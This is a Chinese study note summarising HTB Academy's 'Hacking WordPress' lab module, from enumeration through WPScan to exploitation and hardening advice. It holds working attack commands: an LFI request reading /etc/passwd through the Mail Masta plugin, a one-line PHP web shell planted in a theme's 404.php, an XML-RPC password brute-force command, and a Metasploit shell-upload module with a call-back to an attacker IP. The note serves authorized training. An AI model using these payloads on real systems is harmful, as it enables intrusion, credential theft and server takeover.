根据 HTB Academy「Hacking WordPress」模块整理,共 16 个小节。内容按学习与实操顺序重新归纳,不逐段照抄课程。命令中的 <target>、<YOUR_API_TOKEN>、<user-list> 等均为待替换占位符;仅在获准的 HTB 实验环境中操作。
配图使用 HTB 课程 CDN 的 HTTPS 链接,2026-10-09 逐条 HEAD 检查均返回 HTTP 200;显示依赖网络和 CDN 可用性。
本章主线
识别 WordPress 与站点结构
→ 版本、插件、主题、目录与用户枚举
→ 按线索核验已知漏洞或登录风险
→ 在具备相应权限时验证利用路径
→ 汇总风险并落实更新、权限和配置加固
枚举的目标不是堆工具输出,而是形成可验证的线索链:发现组件或用户 → 判断版本与暴露面 → 找到课程/扫描器指出的风险 → 在授权范围验证影响。
一、基础概念与 WordPress 结构
1. CMS 的工作方式 — Introduction
内容管理系统(CMS)把站点内容管理和网页呈现分开:内容管理应用(CMA)供编辑、管理内容;内容交付应用(CDA)负责把内容处理成访客看到的页面。WordPress 以 PHP 为核心,常见部署还包含 Web 服务与数据库;主题和插件扩展功能,也扩大了第三方代码带来的风险面。
评估 CMS 时,课程强调关注:是否仍受维护、权限如何分配、媒体如何管理,以及站点版本/内容是否有适当管理。
2. 目录、关键文件与入口 — WordPress Structure
Linux 上课程示例使用 /var/www/html 作为站点根目录。浏览文件结构时,把路径当作枚举线索:
路径/文件 课程中的用途与风险线索 index.php WordPress 站点入口。 readme.html 可能泄露版本信息;是否存在取决于站点部署。 wp-admin/、wp-login.php 管理与登录入口;课程列出 /wp-admin/login.php、/wp-login.php 等常见路径,也指出登录路径可能被改名。 xmlrpc.php 旧式 XML-RPC 接口;课程将其作为登录尝试入口之一,并与 REST API 对照。 wp-config.php 站点配置,可能包含数据库名、账号、密码、主机、密钥/盐值、表前缀及调试设置;属于敏感文件。 wp-content/ 插件、主题、上传文件等内容所在位置;公开上传目录也值得检查。 wp-includes/ WordPress 核心库和组件。
3. 用户角色与权限 — User Roles
角色 主要能力(按课程概括) 枚举/评估意义 Administrator 管理站点、用户、文章及站点配置。 权限最高;可能修改站点代码或安装/管理组件。 Editor 管理包括其他用户创建的文章。 有内容管理能力,但不等同于站点管理员。 Author 管理并发布自己的文章。 文章作者信息可能暴露用户名。 Contributor 编写、管理自己的内容,但不能发布。 权限较低,不能把“能写内容”误当成“能发布”。 Subscriber 浏览内容、管理个人资料。 普通访问角色。
后续评估要把“已枚举的用户名”与“该角色实际权限”分开记录;作者名是线索,不代表已获得账户访问权。
二、枚举:从公开页面收集线索
4. WordPress 核心版本识别 — Core Version Enumeration
优先从公开响应中找低噪声线索,再用不同位置交叉确认:
- 查看页面源代码,搜索 meta name="generator"。
- 检查 CSS/JavaScript 引用中的 ?ver= 参数。
- 查看站点是否公开 readme.html。
- 用 RSS 等生成信息复核扫描器发现的版本。
课程示例:
curl -s -X GET http://<target> | grep '<meta name="generator"'
单一版本字符串可能是旧信息或被隐藏;应记录发现位置,并与其他线索比对。
5. 插件与主题枚举 — Plugins and Themes Enumeration
页面源代码中的 CSS/JS、链接地址可能直接包含 wp-content/plugins/ 或 wp-content/themes/ 路径。课程使用 curl 配合 sed、grep、cut 从 href/src 中提取这些路径;整理结果时分别归类插件、主题和版本线索。
课程示例的提取思路如下(把过滤目录分别设为 plugins 或 themes):
curl -s -X GET "http://<target>" \
| sed 's/href=/\n/g' \
| sed 's/src=/\n/g' \
| grep "wp-content/plugins/*" \
| cut -d"'" -f2
检查主题时,将过滤条件 wp-content/plugins/* 换成 wp-content/themes/*。
检查特定组件路径时,课程示例用 HEAD 请求观察响应:
curl -I -X GET http://<target>/wp-content/plugins/<plugin-name>
课程指出,路径存在时可能返回重定向(例如补上末尾斜杠),不存在时常见 404。状态码只能辅助判断,不能代替对实际页面/目录的确认。枚举结果可继续交给 WPScan 做组件与已知漏洞检查。
6. 目录索引 — Directory Indexing
即便插件在后台被停用,其文件目录仍可能留在服务器上并可访问。因此,“已停用”不等于“代码已移除”或“路径不可达”;课程以 Mail Masta 插件目录为例展示目录索引暴露文件名和目录结构的情况。
curl -s http://<target>/wp-content/plugins/<plugin-name>/ | html2text
目录索引可能给出可进一步检查的文件线索。课程据此强调:服务器不应不必要地公开目录列表;未使用的插件/主题应移除,而不仅是停用。


7. 用户枚举 — User Enumeration
课程介绍两类线索:
- 作者页面/编号:文章作者链接或 ?author=<编号> 可能触发到作者页面的重定向。课程示例用 curl -s -I http://<target>/?author=1 检查响应中的 Location;作者路径可暴露用户名。无效编号则可能返回 404。
- REST API:检查 /wp-json/wp/v2/users 是否返回用户资料。课程提醒接口暴露情况会受 WordPress 版本与配置影响,因此将它视为一种枚举途径,而非保证始终可用的接口。
curl -s -I 'http://<target>/?author=1'
curl -s 'http://<target>/wp-json/wp/v2/users' | jq
把结果记为候选用户名,再与作者页面、WPScan 等线索交叉核验。

8. 登录入口与 XML-RPC — Login
在已收集候选用户名后,课程讨论对 WordPress 登录进行密码审计的两类入口:
- wp-login:针对常规登录页面尝试。
- xmlrpc:经 /xmlrpc.php 使用 WordPress XML-RPC 方法尝试;课程随后指出 WPScan 的 xmlrpc 密码攻击模式通常比直接走 wp-login 更快。
课程还用 XML-RPC 请求响应区分认证结果:有效凭据会返回站点/账户相关的成功响应;失败时会返回 XML-RPC fault(示例中包含 403 与用户名/密码错误提示)。这类反馈也可能帮助确认账户线索。实际尝试必须处于明确授权的实验范围内。
三、工具与漏洞验证
9. WPScan 初次使用与配置 — WPScan Overview
WPScan 是面向 WordPress 的扫描/枚举工具,可检查版本、用户、插件、主题及已知漏洞。课程说明 Parrot 中通常预装;如当前环境没有,可按课程给出的 Ruby 安装方式安装:
gem install wpscan
安装后先查看帮助确认命令可用:
wpscan --hh
若需查询课程演示中的漏洞数据库信息,可注册 WPVulnDB 并取得个人 API token,再通过 --api-token 传入。课程页面当时标注免费方案每日 50 次请求;token 不应写入公开笔记或提交到代码仓库。
按目标选择枚举范围:只查漏洞组件、枚举全部插件,或收集用户;不必默认扩大扫描范围。
10. WPScan 枚举与输出阅读 — WPScan Enumeration
课程示例:
wpscan --url http://<target> --enumerate --api-token <YOUR_API_TOKEN>
- --enumerate:课程说明默认会枚举存在已知漏洞的插件/主题、用户、媒体及备份等。
- --enumerate ap:枚举所有插件,而不仅是已知有漏洞的插件。
- -t <数量>:调整线程数;课程示例默认线程数为 5。
- --api-token <YOUR_API_TOKEN>:提供漏洞数据库查询 token;没有 token 时不要把占位符当成真实凭据。
读输出时关注:HTTP/PHP 头信息、XML-RPC 与 WP-Cron 可达性、核心/主题版本、插件路径与版本、扫描器标记的漏洞及发现方式、枚举到的用户名。被动与主动方法的结果应结合路径和版本线索复核。
11. 利用已知插件漏洞:LFI 验证 — Exploiting a Vulnerable Plugin
课程以 WPScan 找到的 Mail Masta 1.0 为例:报告指出该插件存在 LFI 等已知风险。验证思路是从报告提供的 PoC 路径发起请求,再判断响应是否呈现目标本地文件内容;课程用 /etc/passwd 作为验证对象。
curl 'http://<target>/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd'
若响应出现文件内容,说明该路径存在本地文件读取影响;若未出现,不应仅凭插件名称断定漏洞可利用,还需核对版本、路径、响应及课程给出的漏洞条件。

12. WordPress 用户密码审计 — Attacking WordPress Users
课程示例使用 WPScan 的 xmlrpc 模式对已枚举用户和课程提供的密码字典进行审计:
wpscan --password-attack xmlrpc -t 20 \
-U <user1,user2> -P <password-list.txt> \
--url http://<target>
-U 指定用户名列表,-P 指定候选密码文件,-t 调整并发线程。课程将 xmlrpc 与 wp-login 两种方式作比较,并指出前者通过 XML-RPC 接口进行尝试,通常速度更快。结果用于确认是否存在可验证的凭据组合;不要把课程输出里的示例密码当作真实站点凭据。
13. 主题编辑器导致 RCE — RCE via the Theme Editor
课程演示的前置条件是已拥有可进入后台并编辑主题文件的管理员权限。后台主题编辑器能修改 PHP 文件;将可执行代码写入被 Web 服务访问的主题文件后,访问该文件并传入参数,即可能以 Web 服务进程权限执行系统命令。
课程建议不要改动主主题,而选择未启用的主题及非关键模板文件(示例为 404.php),降低破坏站点的影响。演示代码与验证请求:
<?php
system($_GET['cmd']);
curl -X GET 'http://<target>/wp-content/themes/<theme>/404.php?cmd=id'
验证时观察命令输出及其运行身份;该能力意味着站点后台代码编辑权限可能升级为 Web 服务进程上下文的命令执行。仅在课程授权目标上复现。


14. Metasploit 自动化利用 — Attacking WordPress with Metasploit
课程示例模块为 exploit/unix/webapp/wp_admin_shell_upload。前置条件是有效 WordPress 凭据,以及该账户具备足以在 Web 服务器上创建/上传文件的权限。基本操作顺序:启动控制台、搜索模块、查看所需选项,再填入目标、登录凭据与回连地址。
msfconsole
search wp_admin
use exploit/unix/webapp/wp_admin_shell_upload
options
set RHOSTS <target>
set RPORT 80
set TARGETURI /
set USERNAME <wordpress-user>
set PASSWORD <authorized-lab-password>
set LHOST <attacker-ip>
run
课程列出的常见选项还包括 SSL、VHOST、Proxies。运行后若成功,模块会认证、上传并执行载荷,建立 Meterpreter 会话;课程用 getuid 查看会话对应的服务器用户。使用模块前必须逐项核对 options 中的必填参数,不能把演示环境的用户名/密码直接照搬到其他环境。
四、防护与评估
15. WordPress 加固 — WordPress Hardening
更新与组件管理
- 及时更新 WordPress 核心、插件与主题;课程给出自动更新配置示例:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
- 从可信来源安装插件/主题;安装前检查评价、受欢迎程度、安装量与最近更新时间。
- 定期审查组件,移除未使用的插件/主题,避免旧代码继续留在站点中。
安全监控插件示例(课程列举)
插件 课程提到的能力 Sucuri Security 活动审计、文件完整性监控、远程恶意软件扫描、黑名单监控。 iThemes Security 2FA、安全密钥/盐值、reCAPTCHA、用户操作日志等。 Wordfence Security Web 应用防火墙与恶意软件扫描;高级功能包含实时规则/特征更新及 IP 黑名单。
账号与配置
- 禁用默认 admin 用户,使用不易猜测的用户名;强制强密码与 2FA。
- 按最小权限原则分配角色,并定期审核权限;删除不用的账户或撤销不再需要的访问。
- 使用插件限制用户枚举,减少有效用户名被收集的机会;限制登录尝试。
- 课程还建议重命名 wp-login.php 或将入口限制到特定位置/IP,降低公开登录入口的暴露面。
16. 技能评估范围提示 — Skills Assessment
最终评估要求在一个新的 WordPress 目标上综合运用本章内容,完成枚举、寻找标志并取得 Web 服务器 Shell。课程特别提示:当 Linux 系统缺少名称服务器配置时,需要理解其 DNS 映射方式。此处只记录评估目标和知识提示,不包含题目答案或标志值。
复习检查清单
- 能从源代码、静态资源版本参数、公开说明文件中寻找 WordPress 版本线索,并交叉核验。
- 能区分插件/主题“被停用”与“已从服务器移除”,并检查公开目录索引。
- 能用作者页面线索、REST API 与 WPScan 枚举用户,同时考虑版本/配置差异。
- 理解 wp-login 与 xmlrpc 两种登录审计入口,以及用户名列表、密码字典和 API token 的用途。
- 能把扫描报告中的组件版本、漏洞条目和 PoC 路径转化为受控验证步骤。
- 能说明主题 PHP 编辑权限为何会形成 RCE 风险,以及 Metasploit 模块执行所需的凭据、权限和回连参数。
- 能从更新、组件清理、最小权限、强认证和登录面收敛角度提出对应防护措施。
